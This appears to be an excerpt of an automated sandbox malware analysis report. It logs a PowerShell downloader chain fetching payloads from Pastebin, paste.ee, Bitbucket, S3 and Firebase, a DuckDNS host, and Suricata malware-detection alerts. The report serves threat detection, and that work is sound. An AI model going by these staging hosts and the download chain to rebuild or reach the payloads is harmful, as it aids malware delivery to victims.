Source: global traffic	HTTP traffic detected: GET /5c1faa65-8df1-44b3-9eef-4905cfb21066/downloads/153f1b3b-a7e8-4b91-b2b1-19798dd254b2/dsadsdsadsadsa.txt?response-content-disposition=attachment%3B%20filename%3D%22dsadsdsadsadsa.txt%22&AWSAccessKeyId=ASIA6KOSE3BNKASUWRVB&Signature=GfpU0CqDcq625CnXQ2BwtNOiGJM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEG0aCXVzLWVhc3QtMSJHMEUCIQDs8Rj4z4voHrA56yVpXNvb%2FsFKDQyxi%2B3o3W5qfuWusQIgLqQzvBFMFXX9Pa%2BoyIG%2B32jske%2BWh0S25%2Fynj2NB%2BBcqsAIItv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDMxhE6dop%2BJnHoLfPiqEAr8pHVnooTfi0YZkbhehEoaE1HM1hw7hoHIkopPIOTznsgPJgLmSVn4zaLDAXaFsXvcbpwil5pqs3yLuDuXNAyT6tr7PxdlycD%2FAJaRj7XgTxDLyt2nktlqdkRlEDXnBOTxrFM34uHRZq4gQIcXM%2FdeP1gNTHuVllr4hqgc8BtyPI0oFU6TWGdV61p4JgXiTcM8X%2Fs7Y2pNAaZQaYh1Kwk80bLwXYNBkJqe6fudHaku2Hr19n%2FI7ovUAmCunSxhwXenqzPnDzZTCwFDsnRaZo0mTJvCImTLI6KCQcZQtPWh0Q7P%2BZ8u6QsTrnfwdgKJJpE7FElvkKACOC6bBrj07%2FazaST1qMKXB%2BLcGOp0BIzHMRr4XYnUMQ24ozLJjMYALd1nwf%2BbKAue7hm%2By1s%2B%2BelqorxCz52uzxR1zc6F5j%2F8PF66cEvqBdIobKudxk1ywppJrtepYoNJnvllkE9hTI8QXxVteGCBkiJsAP%2FwcJyEvw%2F8tqq%2BqrHSmpzW1WfCLDgcVz0pN3lJ4qUXWCuGKKTowMYT2jHITFCxnZ3ZkBJiJdBr0Pb07j%2BtQIw%3D%3D&Expires=1727932333 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sFgsbG3v HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cD7bJS7b HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /d/lHbHo/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/V9y5Q5vv HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /89999999999999/acaaaaaaaaa/downloads/dsadsdsadsadsa.txt HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /5c1faa65-8df1-44b3-9eef-4905cfb21066/downloads/153f1b3b-a7e8-4b91-b2b1-19798dd254b2/dsadsdsadsadsa.txt?response-content-disposition=attachment%3B%20filename%3D%22dsadsdsadsadsa.txt%22&AWSAccessKeyId=ASIA6KOSE3BNKASUWRVB&Signature=GfpU0CqDcq625CnXQ2BwtNOiGJM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEG0aCXVzLWVhc3QtMSJHMEUCIQDs8Rj4z4voHrA56yVpXNvb%2FsFKDQyxi%2B3o3W5qfuWusQIgLqQzvBFMFXX9Pa%2BoyIG%2B32jske%2BWh0S25%2Fynj2NB%2BBcqsAIItv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDMxhE6dop%2BJnHoLfPiqEAr8pHVnooTfi0YZkbhehEoaE1HM1hw7hoHIkopPIOTznsgPJgLmSVn4zaLDAXaFsXvcbpwil5pqs3yLuDuXNAyT6tr7PxdlycD%2FAJaRj7XgTxDLyt2nktlqdkRlEDXnBOTxrFM34uHRZq4gQIcXM%2FdeP1gNTHuVllr4hqgc8BtyPI0oFU6TWGdV61p4JgXiTcM8X%2Fs7Y2pNAaZQaYh1Kwk80bLwXYNBkJqe6fudHaku2Hr19n%2FI7ovUAmCunSxhwXenqzPnDzZTCwFDsnRaZo0mTJvCImTLI6KCQcZQtPWh0Q7P%2BZ8u6QsTrnfwdgKJJpE7FElvkKACOC6bBrj07%2FazaST1qMKXB%2BLcGOp0BIzHMRr4XYnUMQ24ozLJjMYALd1nwf%2BbKAue7hm%2By1s%2B%2BelqorxCz52uzxR1zc6F5j%2F8PF66cEvqBdIobKudxk1ywppJrtepYoNJnvllkE9hTI8QXxVteGCBkiJsAP%2FwcJyEvw%2F8tqq%2BqrHSmpzW1WfCLDgcVz0pN3lJ4qUXWCuGKKTowMYT2jHITFCxnZ3ZkBJiJdBr0Pb07j%2BtQIw%3D%3D&Expires=1727932333 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sFgsbG3v HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cD7bJS7b HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /d/lHbHo/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/V9y5Q5vv HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/V9y5Q5vv HTTP/1.1Host: pastebin.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49710 -> 104.20.4.235:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49708 -> 104.20.4.235:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49725 -> 104.20.4.235:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49727 -> 104.20.4.235:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /raw/V9y5Q5vv HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /89999999999999/acaaaaaaaaa/downloads/dsadsdsadsadsa.txt HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /5c1faa65-8df1-44b3-9eef-4905cfb21066/downloads/153f1b3b-a7e8-4b91-b2b1-19798dd254b2/dsadsdsadsadsa.txt?response-content-disposition=attachment%3B%20filename%3D%22dsadsdsadsadsa.txt%22&AWSAccessKeyId=ASIA6KOSE3BNKASUWRVB&Signature=GfpU0CqDcq625CnXQ2BwtNOiGJM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEG0aCXVzLWVhc3QtMSJHMEUCIQDs8Rj4z4voHrA56yVpXNvb%2FsFKDQyxi%2B3o3W5qfuWusQIgLqQzvBFMFXX9Pa%2BoyIG%2B32jske%2BWh0S25%2Fynj2NB%2BBcqsAIItv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDMxhE6dop%2BJnHoLfPiqEAr8pHVnooTfi0YZkbhehEoaE1HM1hw7hoHIkopPIOTznsgPJgLmSVn4zaLDAXaFsXvcbpwil5pqs3yLuDuXNAyT6tr7PxdlycD%2FAJaRj7XgTxDLyt2nktlqdkRlEDXnBOTxrFM34uHRZq4gQIcXM%2FdeP1gNTHuVllr4hqgc8BtyPI0oFU6TWGdV61p4JgXiTcM8X%2Fs7Y2pNAaZQaYh1Kwk80bLwXYNBkJqe6fudHaku2Hr19n%2FI7ovUAmCunSxhwXenqzPnDzZTCwFDsnRaZo0mTJvCImTLI6KCQcZQtPWh0Q7P%2BZ8u6QsTrnfwdgKJJpE7FElvkKACOC6bBrj07%2FazaST1qMKXB%2BLcGOp0BIzHMRr4XYnUMQ24ozLJjMYALd1nwf%2BbKAue7hm%2By1s%2B%2BelqorxCz52uzxR1zc6F5j%2F8PF66cEvqBdIobKudxk1ywppJrtepYoNJnvllkE9hTI8QXxVteGCBkiJsAP%2FwcJyEvw%2F8tqq%2BqrHSmpzW1WfCLDgcVz0pN3lJ4qUXWCuGKKTowMYT2jHITFCxnZ3ZkBJiJdBr0Pb07j%2BtQIw%3D%3D&Expires=1727932333 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sFgsbG3v HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cD7bJS7b HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /d/lHbHo/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/V9y5Q5vv HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /89999999999999/acaaaaaaaaa/downloads/dsadsdsadsadsa.txt HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /5c1faa65-8df1-44b3-9eef-4905cfb21066/downloads/153f1b3b-a7e8-4b91-b2b1-19798dd254b2/dsadsdsadsadsa.txt?response-content-disposition=attachment%3B%20filename%3D%22dsadsdsadsadsa.txt%22&AWSAccessKeyId=ASIA6KOSE3BNKASUWRVB&Signature=GfpU0CqDcq625CnXQ2BwtNOiGJM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEG0aCXVzLWVhc3QtMSJHMEUCIQDs8Rj4z4voHrA56yVpXNvb%2FsFKDQyxi%2B3o3W5qfuWusQIgLqQzvBFMFXX9Pa%2BoyIG%2B32jske%2BWh0S25%2Fynj2NB%2BBcqsAIItv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDMxhE6dop%2BJnHoLfPiqEAr8pHVnooTfi0YZkbhehEoaE1HM1hw7hoHIkopPIOTznsgPJgLmSVn4zaLDAXaFsXvcbpwil5pqs3yLuDuXNAyT6tr7PxdlycD%2FAJaRj7XgTxDLyt2nktlqdkRlEDXnBOTxrFM34uHRZq4gQIcXM%2FdeP1gNTHuVllr4hqgc8BtyPI0oFU6TWGdV61p4JgXiTcM8X%2Fs7Y2pNAaZQaYh1Kwk80bLwXYNBkJqe6fudHaku2Hr19n%2FI7ovUAmCunSxhwXenqzPnDzZTCwFDsnRaZo0mTJvCImTLI6KCQcZQtPWh0Q7P%2BZ8u6QsTrnfwdgKJJpE7FElvkKACOC6bBrj07%2FazaST1qMKXB%2BLcGOp0BIzHMRr4XYnUMQ24ozLJjMYALd1nwf%2BbKAue7hm%2By1s%2B%2BelqorxCz52uzxR1zc6F5j%2F8PF66cEvqBdIobKudxk1ywppJrtepYoNJnvllkE9hTI8QXxVteGCBkiJsAP%2FwcJyEvw%2F8tqq%2BqrHSmpzW1WfCLDgcVz0pN3lJ4qUXWCuGKKTowMYT2jHITFCxnZ3ZkBJiJdBr0Pb07j%2BtQIw%3D%3D&Expires=1727932333 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sFgsbG3v HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /raw/cD7bJS7b HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /d/lHbHo/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/V9y5Q5vv HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/V9y5Q5vv HTTP/1.1Host: pastebin.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: bitbucket.org
Source: global traffic	DNS traffic detected: DNS query: bbuseruploads.s3.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: paste.ee
Source: global traffic	DNS traffic detected: DNS query: toskaadmx.duckdns.org

Source: powershell.exe, 00000004.00000002.2176643102.000002870058A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D692B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: HTTPS://PASTEBIN.COM/RAW/CD7BJS7B
Source: powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bbuseruploads.s3.amazonaws.com
Source: powershell.exe, 00000004.00000002.2176643102.00000287016B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bitbucket.org
Source: powershell.exe, 0000000E.00000002.2401200406.00000272D4974000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsofto
Source: powershell.exe, 00000004.00000002.2176643102.000002870195E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7D11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://firebasestorage.googleapis.com
Source: powershell.exe, 00000004.00000002.2176643102.0000028701A14000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2254576347.000002871007F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2150319912.000002C0E23D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2150319912.000002C0E229F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2133813473.000002C0D3ADD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7D48000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2578721401.00000272E6413000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2507053683.0000027C1CBAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2507053683.0000027C1CCE4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2352027899.0000027C0E40D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee
Source: powershell.exe, 00000004.00000002.2176643102.0000028701648000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.000002870164D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D79FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A17000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: powershell.exe, 0000000E.00000002.2396453856.00000272D48DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com/raw/V9y5Q5vv
Source: powershell.exe, 00000004.00000002.2270156438.000002877C720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com/raw/v9y5q5vv
Source: powershell.exe, 0000000F.00000002.2352027899.0000027C0E386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s3-w.us-east-1.amazonaws.com
Source: powershell.exe, 00000002.00000002.2293886906.0000019BAE651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028700001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2133813473.000002C0D2221000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3349422989.0000000003081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2615790449.000001A1A5AD7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D63A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2352027899.0000027C0CB31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.2133813473.000002C0D384B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2352027899.0000027C0E2E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000000F.00000002.2352027899.0000027C0E386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.2293886906.0000019BAE670000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2293886906.0000019BAE6BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028700001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2133813473.000002C0D2221000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2615790449.000001A1A5A2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2615790449.000001A1A5A16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D63A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2352027899.0000027C0CB31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: powershell.exe, 00000004.00000002.2176643102.000002870168C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287003E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A17000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D6782000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: powershell.exe, 0000000E.00000002.2403141075.00000272D6782000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: powershell.exe, 0000000E.00000002.2403141075.00000272D6782000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;
Source: powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazoh
Source: powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazohx
Source: powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D67E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com
Source: powershell.exe, 00000004.00000002.2176643102.0000028700443000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/5c1faa65-8df1-44b3-9eef-4905cfb21066/downloads/153f1b3b-a7e8-
Source: powershell.exe, 00000004.00000002.2176643102.0000028700443000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.comp
Source: powershell.exe, 00000004.00000002.2176643102.00000287003EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287016B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A69000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D678B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org
Source: powershell.exe, 0000000E.00000002.2403141075.00000272D7A69000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D678B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/89999999999999/acaaaaaaaaa/downloads/dsadsdsadsadsa.txt
Source: powershell.exe, 00000004.00000002.2176643102.00000287016B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/89999999999999/acaaaaaaaaa/downloads/dsadsdsadsadsa.txtP
Source: powershell.exe, 00000004.00000002.2176643102.000002870168C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287003E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A17000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D6782000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: powershell.exe, 0000000F.00000002.2352027899.0000027C0E40D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000F.00000002.2352027899.0000027C0E40D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000F.00000002.2352027899.0000027C0E40D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.2176643102.000002870168C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287003E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A17000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D6782000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: powershell.exe, 00000004.00000002.2176643102.0000028700443000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.000002870195E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7D11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D67E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firebasestorage.googleapis.com
Source: powershell.exe, 0000000E.00000002.2403141075.00000272D7D11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D67E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/Pe%2Fp.txt?alt=media&token=
Source: powershell.exe, 00000004.00000002.2176643102.000002870195E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7D11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firebasestorage.googleh
Source: powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 0000000F.00000002.2352027899.0000027C0E386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.2176643102.0000028701199000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D73E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
